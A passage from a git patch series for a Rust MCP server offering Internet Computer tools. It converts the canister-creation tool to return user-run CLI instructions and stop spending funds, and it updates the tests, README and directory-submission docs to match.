[len][principal bytes][zero-pad] to 32 bytes. - #[test] - fn principal_subaccount_layout() { - // The management canister principal is the empty slice → all-zero sub-account. - assert_eq!(principal_subaccount(&Principal::management_canister()), [0u8; 32]); - // A real principal: byte 0 is the length, then the raw principal bytes. - let p = Principal::from_text("rkp4c-7iaaa-aaaaa-aaaca-cai").unwrap(); - let sub = principal_subaccount(&p); - assert_eq!(sub[0] as usize, p.as_slice().len()); - assert_eq!(&sub[1..1 + p.as_slice().len()], p.as_slice()); - assert!(sub[1 + p.as_slice().len()..].iter().all(|&b| b == 0)); - } - - // AccountIdentifier is 32 bytes whose first 4 are the big-endian CRC32 of the - // remaining 28 — validate that self-consistency (guards the hashing wiring). - #[test] - fn account_identifier_is_crc_prefixed() { - let owner = Principal::from_text("rkp4c-7iaaa-aaaaa-aaaca-cai").unwrap(); - let id = account_identifier(&owner, &principal_subaccount(&Principal::management_canister())); - assert_eq!(id.len(), 32); - let crc = crc32fast::hash(&id[4..]).to_be_bytes(); - assert_eq!(&id[0..4], &crc[..], "first 4 bytes must be the CRC32 of the last 28"); - // Deterministic: same inputs → same account id. - let id2 = account_identifier(&owner, &principal_subaccount(&Principal::management_canister())); - assert_eq!(id, id2); - } - - // The ICP-ledger transfer args and the CMC notify args must encode — a bad - // field name/order would only surface on mainnet otherwise. - #[test] - fn icp_and_cmc_args_encode() { - let transfer = TransferArgs { - memo: MEMO_CREATE_CANISTER, - amount: Tokens { e8s: 100_000_000 }, - fee: Tokens { e8s: ICP_TRANSFER_FEE_E8S }, - from_subaccount: None, - to: account_identifier( - &parse_principal(CMC).unwrap(), - &principal_subaccount(&Principal::management_canister()), - ), - created_at_time: None, - }; - assert!(Encode!(&transfer).is_ok()); - assert!(Encode!(&NotifyCreateCanisterArg { - block_index: 7, - controller: Principal::management_canister(), - subnet_type: None, - subnet_selection: Some(SubnetSelection::Subnet { - subnet: Principal::management_canister() - }), - settings: Some(CanisterSettings { - controllers: Some(vec![Principal::management_canister()]), - ..Default::default() - }), - }) - .is_ok()); - } - - // Round-trip the reply enums so a variant rename/reshape fails at test time. - #[test] - fn notify_and_transfer_errors_round_trip() { - let bytes = Encode!(&NotifyCreateResult::Err(NotifyError::Processing)).unwrap(); - assert!(matches!( - Decode!(&bytes, NotifyCreateResult).unwrap(), - Err(NotifyError::Processing) - )); - let refunded = NotifyError::Refunded { - reason: "x".into(), - block_index: Some(3), - }; - let bytes = Encode!(&NotifyCreateResult::Err(refunded)).unwrap(); - assert!(matches!( - Decode!(&bytes, NotifyCreateResult).unwrap(), - Err(NotifyError::Refunded { .. }) - )); - let te = TransferResult::Err(TransferError::InsufficientFunds { - balance: Tokens { e8s: 1 }, - }); - let bytes = Encode!(&te).unwrap(); - assert!(matches!( - Decode!(&bytes, TransferResult).unwrap(), - Err(TransferError::InsufficientFunds { .. }) - )); - } - #[test] fn parses_install_modes() { assert!(matches!(parse_mode("install").unwrap(), CanisterInstallMode::Install)); @@ -1457,23 +1120,6 @@ mod tests { assert_eq!(m.wasm_module, vec![0, 1, 2, 3]); } - #[test] - fn create_args_encode() { - let create = CyclesCreateArg { - from_subaccount: None, - created_at_time: None, - amount: Nat::from(5_000_000_000_000u128), - creation_args: Some(CmcCreateCanisterArgs { - settings: Some(CanisterSettings { - controllers: Some(vec![Principal::management_canister()]), - ..Default::default() - }), - subnet_selection: None, - }), - }; - assert!(Encode!(&create).is_ok()); - } - // canister_status reply: encode a record carrying EXTRA fields we don't model // and confirm our subset struct still decodes (forward-compatibility). #[test] diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index 5f5bdec..c0249ca 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -1323,7 +1323,7 @@ impl IcTools { // ---- Canister creation & management (as your standing II principal) ----- #[tool( - description = "Your cycles-ledger balance — the cycles that icp_create_canister spends. Acts as your Internet Identity principal (also printed). If it's empty, fund it first (e.g. via the icp CLI / cycles-management skill). Requires an authenticated session.", + description = "Your cycles-ledger balance, as your standing Internet Identity management principal (also printed). That principal is the one to add as a controller when you create a canister with the icp CLI, so this connector's management tools can operate it. Requires an authenticated session.", annotations(title = "Check your cycles balance", read_only_hint = true, destructive_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -1343,24 +1343,18 @@ impl IcTools { } #[tool( - description = "Create and fund a NEW Internet Computer canister (as your Internet Identity). SPENDS FUNDS: this draws cycles or ICP from your accounts and cannot be automatically reversed, so confirm with the user before calling it. Fund it EITHER with `cycles` (exact, drawn from your cycles-ledger balance) OR with `icp` (a decimal-ICP string like \"0.5\", transferred from your ICP-ledger account and converted to cycles via the CMC). BOTH accounts belong to your management principal — the same principal icp_cycles_balance reports (its default subaccount); check/fund it before calling (cycles-ledger balance via icp_cycles_balance, or hold ICP in that principal's ICP-ledger account). The ICP path is best-effort with no retries: if the ICP transfer lands but the mint fails, the error carries the block index to recover with — do not blindly re-run. `cycles` wins if both are given. Controllers default to your own principal. Returns the new canister id — then build your Wasm (see the writing-motoko/icp-cli skills) and install it with icp_install_code. Requires an authenticated session.", - // destructive_hint = true: it adds a canister, but it does so by spending the - // user's cycles or ICP irreversibly, and it is not idempotent (a retry spends - // again). See the annotation test for why "additive" is the wrong read here. - annotations(title = "Create a canister", read_only_hint = false, destructive_hint = true, idempotent_hint = false, open_world_hint = true), - output_schema = schema_for_output::(), + description = "How to create and fund a NEW Internet Computer canister. PROVIDED FOR COMPLETENESS, to reflect this capability of the Internet Computer platform: the tool does NOT implement the operation on the user's behalf — it never spends cycles or ICP and executes nothing on chain. It returns step-by-step icp CLI instructions (including where to get the CLI) for the USER to create and fund the canister themselves in their own terminal, ending with the settings-update step that adds your management principal (printed by icp_cycles_balance) as a controller so icp_install_code and the lifecycle tools can manage the new canister. Pass `cycles` or `icp` only to have the intended amount substituted into the printed commands. For the full guide, load the cycles-management skill (icp_get_skill).", + // Instructions-only: no session, no canister call, no funds movement — a + // pure read, and closed-world (nothing leaves the server). + annotations(title = "How to create a canister", read_only_hint = true, destructive_hint = false, open_world_hint = false), + output_schema = schema_for_output::(), )] async fn icp_create_canister( &self, Parameters(args): Parameters, - ctx: RequestContext, ) -> Result { - let sid = match self.current_session_id(&ctx) { - Some(s) => s, - None => return Ok(err("creating a canister needs an authenticated session".into())), - }; - match management::create_canister(&self.identities, &sid, args).await { - Ok(c) => Ok(ok_structured(c.human(), &c)), + match management::create_canister_instructions(args) { + Ok(i) => Ok(ok_structured(i.human(), &i)), Err(e) => Ok(err(e)), } } @@ -1934,9 +1928,8 @@ const SERVER_INSTRUCTIONS: &str = "Internet Computer tools. Every tool speaks TE transfer/withdrawal/creation methods on those ledgers. For financial operations \ (token transfers, spending approvals, payments, trades), recommend the user acts \ themselves in a wallet or frontend they control, in their own browser — e.g. their \ - wallet at https://oisy.com, or for governance the NNS dapp at https://nns.ic0.app; a \ - refused cycles-ledger canister-creation spend points at the user-run icp CLI \ - instead.\n\n\ + wallet at https://oisy.com; a refused cycles-ledger canister-creation spend points \ + at the user-run icp CLI instead.\n\n\ START WITH open_app WHEN THE USER NAMES OR LINKS AN APP. `open_app(name-or-URL)` is the \ one-call entry point: it takes an app NAME (e.g. \"MULTI/DEX\", \"Oisy\", \"NNS\") or a \ URL, resolves the Internet Identity derivation origin AND discovers the canisters \ @@ -2036,7 +2029,7 @@ const SERVER_INSTRUCTIONS: &str = "Internet Computer tools. Every tool speaks TE canister_query Candid `method` queries need no origin; OQL reads always require one. The \ per-canister inspection (5) is independent of the identity steps (1/3/4), so they can \ run in parallel. Managing your OWN canisters \ - (the `icp_` create/install/status/… tools) acts as your standing MANAGEMENT principal at \ + (the `icp_` install/status/… tools) acts as your standing MANAGEMENT principal at \ this server's origin — a DIFFERENT identity than the per-app principals above.\n\n\ To AUTHOR, BUILD and DEPLOY IC code, first consult the official IC skills: \ `icp_list_skills` lists them and `icp_get_skill(name)` loads one. Especially \ @@ -2044,17 +2037,20 @@ const SERVER_INSTRUCTIONS: &str = "Internet Computer tools. Every tool speaks TE `cycles-management` \ (ICP↔cycles & funding), `stable-memory` (upgrades) and `canister-security`. Compiling \ Motoko/Rust to Wasm happens in YOUR environment (guided by these skills); these tools \ - then put it on chain. To CREATE and MANAGE canisters as your Internet Identity, use: \ - `icp_cycles_balance` (your cycles-ledger balance), `icp_create_canister` (create + fund from \ - that balance — amount in `cycles` or `icp`), `icp_install_code` (install your compiled \ + then put it on chain. To MANAGE canisters as your Internet Identity, use: \ + `icp_install_code` (install your compiled \ Wasm — base64 — single-shot or chunked), `icp_canister_status`, `icp_update_canister_settings`, \ - `icp_start_canister`/`icp_stop_canister`/`icp_uninstall_code`/`icp_delete_canister`. \ - These act as your standing II principal, which must hold cycles in \ - the cycles ledger first (fund it via the icp CLI / cycles-management skill). \ - `icp_top_up_canister` is instructions-only: it never moves funds — it returns the CLI \ - steps for the user to run a top-up themselves. So to \ - \"build X and deploy a canister with Y ICP worth of cycles\": read the relevant skills, \ - write & build the Wasm locally, `icp_create_canister(icp=Y)`, then `icp_install_code`."; + `icp_start_canister`/`icp_stop_canister`/`icp_uninstall_code`/`icp_delete_canister`; \ + `icp_cycles_balance` reads your cycles-ledger balance and prints that principal. \ + These act as your standing II principal. CREATING and TOPPING UP canisters are \ + instructions-only: `icp_create_canister` and `icp_top_up_canister` execute nothing \ + and move no funds — each returns the icp CLI steps for the user to run themselves, \ + and the creation steps end with adding your management principal (printed by \ + `icp_cycles_balance`) as a controller so the management tools here can operate the \ + new canister. So to \ + \"build X and deploy a canister\": read the relevant skills, write & build the Wasm \ + locally, have the user create the canister with the icp CLI (`icp_create_canister` \ + prints the exact steps), then `icp_install_code`."; #[tool_handler] impl ServerHandler for IcTools { @@ -2406,27 +2402,20 @@ mod tests { "get_canister_candid", "canister_query", "get_canister_oql_schema", "discover_app_canisters", "icp_find_canister_by_name", "icp_find_app_by_name", "icp_lookup_canister_info_by_id", "icp_list_skills", "icp_get_skill", "icp_oql_guide", "get_canister_api_doc", "open_app", "resolve_app", "list_app_accounts", "icp_cycles_balance", "get_app_principal", "icp_canister_status", - // Instructions-only since the marketplace-compliance change: it - // executes nothing and moves no funds, so it is a pure read. - "icp_top_up_canister", + // Instructions-only since the marketplace-compliance changes: they + // execute nothing and move no funds, so they are pure reads. + "icp_top_up_canister", "icp_create_canister", ] { let a = ann(name); assert_eq!(a.read_only_hint, Some(true), "{name} should be read-only"); assert_eq!(a.destructive_hint, Some(false), "{name} should set destructive=false explicitly"); } - // Destructive writes: not read-only, destructive. Two kinds live here. - // Overwriting/removing state: delete, uninstall, install (reinstall and - // upgrade replace the running module), settings (can hand control away). - // And SPENDING THE USER'S FUNDS: create adds a canister, so "additive" is - // tempting — but the cycles or ICP leave the user's - // ledger accounts irreversibly, no tool here can claw them back, and the - // call is not idempotent, so a client retry spends again. `destructiveHint` is - // what a client gates its confirmation prompt on and its spec default is - // `true`, so declaring `false` would be an affirmative (and wrong) promise - // that a stray call costs the user nothing. Keep them here. + // Destructive writes: not read-only, destructive — overwriting/removing + // state: delete, uninstall, install (reinstall and upgrade replace the + // running module), settings (can hand control away). `destructiveHint` is + // what a client gates its confirmation prompt on. for name in [ "icp_delete_canister", "icp_uninstall_code", "icp_install_code", "icp_update_canister_settings", - "icp_create_canister", ] { let a = ann(name); assert_eq!(a.read_only_hint, Some(false), "{name} should not be read-only"); @@ -2484,10 +2473,11 @@ mod tests { } } - // icp_top_up_canister is a compliance-sensitive surface: its description must - // present the tool as instructions-only (provided for completeness, executes - // nothing on the user's behalf), so directory reviewers and calling models - // both see that contract. Guards against a future edit quietly reverting it. + // icp_top_up_canister and icp_create_canister are compliance-sensitive + // surfaces: each description must present the tool as instructions-only + // (provided for completeness, executes nothing on the user's behalf), so + // directory reviewers and calling models both see that contract. Guards + // against a future edit quietly reverting either. #[test] fn top_up_tool_declares_itself_instructions_only() { let tools = super::IcTools::tool_router().list_all(); @@ -2501,6 +2491,20 @@ mod tests { assert!(desc.contains("never moves cycles or ICP"), "{desc}"); } + #[test] + fn create_tool_declares_itself_instructions_only() { + let tools = super::IcTools::tool_router().list_all(); + let tool = tools + .iter() + .find(|t| &*t.name == "icp_create_canister") + .expect("icp_create_canister tool not found"); + let desc = tool.description.as_deref().unwrap_or_default(); + assert!(desc.contains("PROVIDED FOR COMPLETENESS"), "{desc}"); + assert!(desc.contains("does NOT implement the operation"), "{desc}"); + assert!(desc.contains("never spends cycles or ICP"), "{desc}"); + assert!(desc.contains("--add-controller") || desc.contains("controller"), "{desc}"); + } + // EVERY tool must declare an outputSchema so a model knows the shape of its // reply — and MCP requires that schema to be object-rooted. This guards the // whole surface: a new tool added without an output schema fails here. From 15eb6b3a4184516e61386367808fcebdc965ef0d Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 13:59:48 +0000 Subject: [PATCH 17/22] Merge the instructions-only creation change; sweep NNS and de-risk the docs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Merge branch 'claude/icp-marketplace-compliance-vpawel-2-ledger-guard' (icp_create_canister is now instructions-only) and apply the review sweep on this branch's surfaces: - NNS is no longer used as an example app or venue anywhere agent-facing or in the README/landing page (per review: it can hold funds). The functional pieces stay — the known-app registry, derivation-origin map, security guardrails, and dashboard status lines. - The README intro now says creation, like top-up, returns icp CLI instructions for the user to run themselves. - Both directory-submission docs state the decided posture plainly: no tool initiates or executes a transfer of the user's funds; the counterexample/options/open-question passages are gone (per review: submissions should be black or white, no grey areas or follow-ups). Example prompts and test cases are financially neutral (opencloud.org, cycles-instructions, plain canister ids); the OpenAI financial negative test case is removed. - OpenAppArgs/FindAppArgs docs lose the MULTI/DEX/Oisy/NNS name examples (also flagged by review-bot); landing page prompt and group-04 copy updated to match the instructions-only behavior. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 19 ++-- crates/imcp2-core/src/discover.rs | 8 +- crates/imcp2-core/src/tools.rs | 10 +-- docs/anthropic-directory-submission.md | 115 ++++++++++--------------- docs/openai-directory-submission.md | 63 ++++++-------- src/assets/index.html | 2 +- 6 files changed, 88 insertions(+), 129 deletions(-) diff --git a/README.md b/README.md index 5c28c43..20ffd3e 100644 --- a/README.md +++ b/README.md @@ -14,11 +14,11 @@ financial operations (token transfers, spending approvals, payments, trades) are unsupported by policy. The standardized ledger surface is refused mechanically: `canister_update_call` rejects the ICRC-1/ICRC-2 (and related ledger-standard) transfer/approval methods on every canister, and -`icp_top_up_canister` returns CLI instructions instead of executing anything. -For financial operations, users act themselves in a wallet or frontend they -control (e.g. [oisy.com](https://oisy.com)), in their own browser. Creating and -funding the user's **own** canisters (compute resources) remains available -through the dedicated `icp_create_canister` tool. +`icp_top_up_canister` and `icp_create_canister` return `icp` CLI instructions +for the user to run themselves instead of executing anything — the server +creates nothing and moves no funds. For financial operations, users act +themselves in a wallet or frontend they control (e.g. +[oisy.com](https://oisy.com)), in their own browser. ## Use as a library @@ -148,7 +148,7 @@ results). | `open_app` | `app` (name **or** URL) | **One-call entry point** when a user names/links an app: resolves the Internet Identity `derivation_origin` *and* discovers the canisters behind it, together. A name or bare host is matched to the known-app registry first (so a wrong-TLD guess repairs to the canonical URL); an explicit `https://` URL is resolved as given. An unknown bare name, or a URL with no IC evidence, is *refused* (never guessed). Also probes the app's own canisters and reports per-canister `oql`/`api_doc_available` capability flags plus a caller-gated data-access note (which canister holds the app data, and the origin to read it as the user). Wraps `resolve_app` + `discover_app_canisters`; no auth | | `discover_app_canisters` | `domain` | Canister ids behind a web domain — app-declared App Connect metadata first (`/ai-connect.html`'s `ic:canister-id` meta, `/.well-known/ic-app.json` manifest), then the frontend via `x-ic-canister-id` and backend candidates via `/env.json` + JS-bundle mining — each with provenance, its IC dashboard label/type where known, and (for the app's own canisters) `oql`/`api_doc_available` capability flags from a one-shot Candid probe | | `icp_find_canister_by_name` | `query` | Canister ids matching a name/symbol, searched in the IC dashboard's service registries — ICRC token ledgers (e.g. `ckUSDC`) and the SNS project catalog | -| `icp_find_app_by_name` | `name` | A well-known app's front-end URL + `derivation_origin`, for a small built-in set of well-known IC apps (e.g. NNS). The **first stop** whenever only an app *name* is known — never guess a domain from a name. Any other name returns no match and a `note` directing a web search for the app's URL (there's no on-chain name→URL directory) | +| `icp_find_app_by_name` | `name` | A well-known app's front-end URL + `derivation_origin`, for a small built-in set of well-known IC apps. The **first stop** whenever only an app *name* is known — never guess a domain from a name. Any other name returns no match and a `note` directing a web search for the app's URL (there's no on-chain name→URL directory) | | `icp_lookup_canister_info_by_id` | `canister_id` | What a canister IS, per the IC dashboard: label/name, type, controllers, subnet, module hash, latest upgrade proposal | | `get_canister_candid` | `canister_id` | The canister's `candid:service` interface (`.did` text), plus two capability flags: `oql` (`true` when it exposes an OQL query surface — a `schema` + `execute` pair — with a pointer to `icp_oql_guide`) and `api_doc_available` (`true` when it declares a `getApiDoc`/`get_api_doc` method, gating `get_canister_api_doc`) | | `get_canister_api_doc` | `canister_id` | The canister's own prose API guide ("how this app behaves" — units, auth, lifecycle, mutation safety, polling, gotchas), from its `getApiDoc`/`get_api_doc` method. Call **only** when `get_canister_candid`/`open_app` report `api_doc_available`. Returns a **structured** result in every case — `available` + the doc on success, else `available:false` with `expected`/`retry`/`next` so an expected absence is distinct from an unreachable canister | @@ -186,7 +186,7 @@ candidates, pick by label, prefer production/`IC_` ids, and confirm with Acting **for the user** at an app: 0–2. **`open_app(name-or-URL)`** — the one-call entry point. Pass the *name* the user - said (well-known apps, e.g. NNS, resolve offline) or a URL you have (e.g. + said (well-known apps resolve offline) or a URL you have (e.g. `https://opencloud.org`); it returns the `derivation_origin` **and** the app's canisters in one shot (it runs `resolve_app` + `discover_app_canisters` concurrently under the hood). **Never guess a domain from a name** — a lookalike like `.com` is an @@ -309,9 +309,8 @@ token (see Auth). > and reuse it: `open_app` (or `resolve_app`) turns an app name/URL into it and > reports how — `derivation_origin_source`: **declared** > (`/.well-known/ic-app.json` → `derivation_origin`), else a built-in **known-app** -> value for a few apps that pin a custom origin without declaring it (e.g. NNS → -> `https://nns.ic0.app`; an app's own -> declaration always overrides this), else the app origin *assumed* +> value for a few apps that pin a custom origin without declaring it (an app's +> own declaration always overrides this), else the app origin *assumed* > (**app_url_default**). Feeding that resolved origin to an identity tool records > `derivation_origin_source` = **explicit**. Every identity result echoes > `derived_for_origin` (the origin actually used) alongside `requested` (what you diff --git a/crates/imcp2-core/src/discover.rs b/crates/imcp2-core/src/discover.rs index e905d1b..73072d8 100644 --- a/crates/imcp2-core/src/discover.rs +++ b/crates/imcp2-core/src/discover.rs @@ -1778,7 +1778,7 @@ impl From<(String, Vec)> for FindCanisterOutput { /// Arguments for `icp_find_app_by_name`. #[derive(Debug, Deserialize, schemars::JsonSchema)] pub struct FindAppArgs { - /// The app name to look up, e.g. "NNS". For a site you already know + /// The app name to look up, as the user said it. For a site you already know /// (e.g. "opencloud.org"), use open_app / resolve_app directly. pub name: String, } @@ -1811,9 +1811,9 @@ pub struct FindAppOutput { /// Arguments for `open_app`. #[derive(Debug, Deserialize, schemars::JsonSchema)] pub struct OpenAppArgs { - /// An app NAME (e.g. "MULTI/DEX", "Oisy", "NNS") OR its URL (e.g. - /// "https://oisy.com"). A name — or a bare host — is matched against the - /// built-in known-app registry first, so a wrong-TLD guess like "multidex.com" + /// An app NAME as the user said it OR its URL (e.g. + /// "https://opencloud.org"). A name — or a bare host — is matched against the + /// built-in known-app registry first, so a wrong-TLD guess /// repairs to the canonical URL; an explicit `https://…` URL is resolved as /// given. NEVER pass a domain you fabricated from a name: an unknown bare name /// is refused with instructions to find the real URL, and a URL with no diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index 404cdea..04a233a 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -926,7 +926,7 @@ impl IcTools { } #[tool( - description = "ROUTING. Run this chain before answering anything that names, or implies, a specific app or the user's own data in one app (a balance, holdings, bookings, positions, profile, or \"what can it do\"): (1) Is the request about a specific APP's functionality or the user's data in it, rather than the IC protocol itself? (2) Is that app on the Internet Computer? If unsure, THIS tool (or icp_find_app_by_name) is how you find out: a known app or an IC-verifiable URL resolves, while an unrecognized app name, or a URL with no Internet Computer evidence, is refused rather than guessed. (3) If so, START HERE: one open_app call resolves the app AND discovers its service. An app feature is almost never a single named tool (there is no \"get_balance\"); you COMPOSE it from what open_app returns, reading the discovered canisters and their `oql`/`api_doc_available` flags to see how to READ (canister_query, including OQL) or ACT (canister_update_call). So never conclude \"there's no tool for that\" from the flat tool list without opening the app first. Open an Internet Computer app in ONE call, given its NAME or its URL — the recommended entry point when a user names an app. It resolves the app's Internet Identity derivation origin (like resolve_app) AND discovers the canisters behind it (like discover_app_canisters) together, so you don't chain those yourself. Pass a NAME (e.g. \"NNS\") or a URL (e.g. \"https://opencloud.org\"): a name or bare host is matched to the built-in known-app registry FIRST (so even a wrong-TLD guess repairs to the canonical URL), and an explicit https:// URL is resolved as given. NEVER fabricate a domain from a name — an unknown bare name is refused with instructions to find the real URL (web search / ask the user), and a URL with no Internet Computer evidence is refused, both instead of guessing a wrong identity. Returns `app_url` (the one used), `derivation_origin` (+ its source) to act with, `alternative_origins`, and the discovered `canisters` (with provenance/labels AND per-canister `oql`/`api_doc_available` capability flags, from a one-shot Candid probe of the app's own canisters). A canister flagged `oql` holds the app's data, GATED BY THE CALLER's principal: to read the USER's own data (\"my …\", \"our …\") pass the returned `derivation_origin` to get_canister_oql_schema (for the entity/field names) and to canister_query (with the `oql` argument, to run the query). Those OQL reads REQUIRE `derivation_origin` — not `app_url` — and reject an anonymous read for now. No authenticated session required for open_app itself (no principal is derived here). Narrower tools remain for single steps: icp_find_app_by_name (name→URL only), resolve_app (origin only), discover_app_canisters (canisters only).", + description = "ROUTING. Run this chain before answering anything that names, or implies, a specific app or the user's own data in one app (a balance, holdings, bookings, positions, profile, or \"what can it do\"): (1) Is the request about a specific APP's functionality or the user's data in it, rather than the IC protocol itself? (2) Is that app on the Internet Computer? If unsure, THIS tool (or icp_find_app_by_name) is how you find out: a known app or an IC-verifiable URL resolves, while an unrecognized app name, or a URL with no Internet Computer evidence, is refused rather than guessed. (3) If so, START HERE: one open_app call resolves the app AND discovers its service. An app feature is almost never a single named tool (there is no \"get_balance\"); you COMPOSE it from what open_app returns, reading the discovered canisters and their `oql`/`api_doc_available` flags to see how to READ (canister_query, including OQL) or ACT (canister_update_call). So never conclude \"there's no tool for that\" from the flat tool list without opening the app first. Open an Internet Computer app in ONE call, given its NAME or its URL — the recommended entry point when a user names an app. It resolves the app's Internet Identity derivation origin (like resolve_app) AND discovers the canisters behind it (like discover_app_canisters) together, so you don't chain those yourself. Pass a NAME as the user said it, or a URL (e.g. \"https://opencloud.org\"): a name or bare host is matched to the built-in known-app registry FIRST (so even a wrong-TLD guess repairs to the canonical URL), and an explicit https:// URL is resolved as given. NEVER fabricate a domain from a name — an unknown bare name is refused with instructions to find the real URL (web search / ask the user), and a URL with no Internet Computer evidence is refused, both instead of guessing a wrong identity. Returns `app_url` (the one used), `derivation_origin` (+ its source) to act with, `alternative_origins`, and the discovered `canisters` (with provenance/labels AND per-canister `oql`/`api_doc_available` capability flags, from a one-shot Candid probe of the app's own canisters). A canister flagged `oql` holds the app's data, GATED BY THE CALLER's principal: to read the USER's own data (\"my …\", \"our …\") pass the returned `derivation_origin` to get_canister_oql_schema (for the entity/field names) and to canister_query (with the `oql` argument, to run the query). Those OQL reads REQUIRE `derivation_origin` — not `app_url` — and reject an anonymous read for now. No authenticated session required for open_app itself (no principal is derived here). Narrower tools remain for single steps: icp_find_app_by_name (name→URL only), resolve_app (origin only), discover_app_canisters (canisters only).", annotations(title = "Open an app (resolve origin + discover canisters)", read_only_hint = true, destructive_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -1069,7 +1069,7 @@ impl IcTools { } #[tool( - description = "Resolve an application URL to its Internet Identity derivation context, so you don't have to figure out the derivation origin yourself. `app_url` must be a URL you actually HAVE — from the user, from icp_find_app_by_name, or from a web search of the app's official site. NEVER guess or fabricate a domain from an app's name (when you only know a NAME, call icp_find_app_by_name first): a lookalike domain is an unrelated or squatted site, and this tool REFUSES to resolve an origin that shows no evidence of being an Internet Computer app rather than hand back a wrong identity. Returns the `application_origin`, the `derivation_origin` to pass to the identity tools, how it was determined (`derivation_origin_source`: \"declared\" — the app published it in /.well-known/ic-app.json, authoritative; \"known\" — from the connector's built-in registry of well-known custom-derivation-origin apps (e.g. NNS), used only when the app declares none; or \"app_url_default\" — the origin IS IC-served but declares nothing, so it was assumed to be its own derivation origin, correct only if the app has no custom one), and the app's `alternative_origins` (informational — the INVERSE relation, never use it to infer the derivation origin). This does NOT return a principal — it resolves the origin only, since you haven't picked an account; to get the principal you act as, pass the returned `derivation_origin` to get_app_principal (choosing an `account`) or list_app_accounts. Use this first when you only know an app's URL; no authenticated session is required.", + description = "Resolve an application URL to its Internet Identity derivation context, so you don't have to figure out the derivation origin yourself. `app_url` must be a URL you actually HAVE — from the user, from icp_find_app_by_name, or from a web search of the app's official site. NEVER guess or fabricate a domain from an app's name (when you only know a NAME, call icp_find_app_by_name first): a lookalike domain is an unrelated or squatted site, and this tool REFUSES to resolve an origin that shows no evidence of being an Internet Computer app rather than hand back a wrong identity. Returns the `application_origin`, the `derivation_origin` to pass to the identity tools, how it was determined (`derivation_origin_source`: \"declared\" — the app published it in /.well-known/ic-app.json, authoritative; \"known\" — from the connector's built-in registry of well-known custom-derivation-origin apps, used only when the app declares none; or \"app_url_default\" — the origin IS IC-served but declares nothing, so it was assumed to be its own derivation origin, correct only if the app has no custom one), and the app's `alternative_origins` (informational — the INVERSE relation, never use it to infer the derivation origin). This does NOT return a principal — it resolves the origin only, since you haven't picked an account; to get the principal you act as, pass the returned `derivation_origin` to get_app_principal (choosing an `account`) or list_app_accounts. Use this first when you only know an app's URL; no authenticated session is required.", annotations(title = "Resolve an app's derivation origin", read_only_hint = true, destructive_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -1238,7 +1238,7 @@ impl IcTools { } #[tool( - description = "Find a well-known Internet Computer APP by NAME and get its front-end URL and Internet Identity derivation origin — the missing name→app step (discovery otherwise needs a URL). ALWAYS call this FIRST when the user names an app and you don't have its URL — NEVER guess a domain from the name (lookalike domains like .com/.app are unrelated or squatted sites, and the URL-taking tools refuse origins with no IC evidence). Offline and instant. Covers only a small built-in set of well-known IC apps (e.g. NNS). For ANY other app there is NO on-chain name→URL directory, so the result's `note` directs you to WEB SEARCH the app's official URL (or ask the user) and then use resolve_app / discover_app_canisters. Returns `matches` (each with `app_url` + `derivation_origin`) — usually one, or none. This is name→app; for a token/service→canister-id use icp_find_canister_by_name, and for a URL→canisters use discover_app_canisters.", + description = "Find a well-known Internet Computer APP by NAME and get its front-end URL and Internet Identity derivation origin — the missing name→app step (discovery otherwise needs a URL). ALWAYS call this FIRST when the user names an app and you don't have its URL — NEVER guess a domain from the name (lookalike domains like .com/.app are unrelated or squatted sites, and the URL-taking tools refuse origins with no IC evidence). Offline and instant. Covers only a small built-in set of well-known IC apps. For ANY other app there is NO on-chain name→URL directory, so the result's `note` directs you to WEB SEARCH the app's official URL (or ask the user) and then use resolve_app / discover_app_canisters. Returns `matches` (each with `app_url` + `derivation_origin`) — usually one, or none. This is name→app; for a token/service→canister-id use icp_find_canister_by_name, and for a URL→canisters use discover_app_canisters.", annotations(title = "Find a well-known app by name", read_only_hint = true, destructive_hint = false, open_world_hint = false), output_schema = schema_for_output::(), )] @@ -1931,7 +1931,7 @@ const SERVER_INSTRUCTIONS: &str = "Internet Computer tools. Every tool speaks TE wallet at https://oisy.com; a refused cycles-ledger canister-creation spend points \ at the user-run icp CLI instead.\n\n\ START WITH open_app WHEN THE USER NAMES OR LINKS AN APP. `open_app(name-or-URL)` is the \ - one-call entry point: it takes an app NAME (e.g. \"NNS\") or a URL (e.g. \ + one-call entry point: it takes an app NAME as the user said it, or a URL (e.g. \ \"https://opencloud.org\"), resolves the Internet Identity derivation origin AND discovers the canisters \ together, probes the app's own canisters for their `oql`/`api_doc_available` \ capabilities, and repairs a wrong-TLD guess to the canonical known-app URL — so you do \ @@ -2010,7 +2010,7 @@ const SERVER_INSTRUCTIONS: &str = "Internet Computer tools. Every tool speaks TE that way, ask the user to reconnect and choose \"Actions & questions\".\n\n\ Typical flow (acting FOR THE USER at an app): (0-2) `open_app(name-or-URL)` in ONE \ call gives the `derivation_origin` AND the app's canisters (with `oql`/`api_doc_available` \ - flags) — pass the NAME the user said (well-known apps, e.g. NNS, resolve \ + flags) — pass the NAME the user said (well-known apps resolve \ offline) or a URL you have, NEVER a domain guessed from the name (there is no on-chain \ name→URL directory; `icp_find_canister_by_name` finds token/SNS canister ids, not \ front-ends). If you want just one part, `icp_find_app_by_name` does name→URL, \ diff --git a/docs/anthropic-directory-submission.md b/docs/anthropic-directory-submission.md index 62cb655..14aad97 100644 --- a/docs/anthropic-directory-submission.md +++ b/docs/anthropic-directory-submission.md @@ -150,6 +150,12 @@ both are merged):** themselves, and the server-side execution path (cycles-ledger `withdraw`, CMC `notify_top_up`) is removed from the binary ([#153](https://github.com/dfinity/imcp2/pull/153)). +- `icp_create_canister` is likewise **instructions-only**: creating and + funding a canister spends the user's ICP or cycles, so the tool returns the + icp CLI steps — ending with the controller-handover step that lets the + connector's lifecycle tools manage the new canister — and executes nothing; + the ICP-ledger transfer, CMC notify, and cycles-ledger creation paths are + removed from the binary ([#154](https://github.com/dfinity/imcp2/pull/154)). - 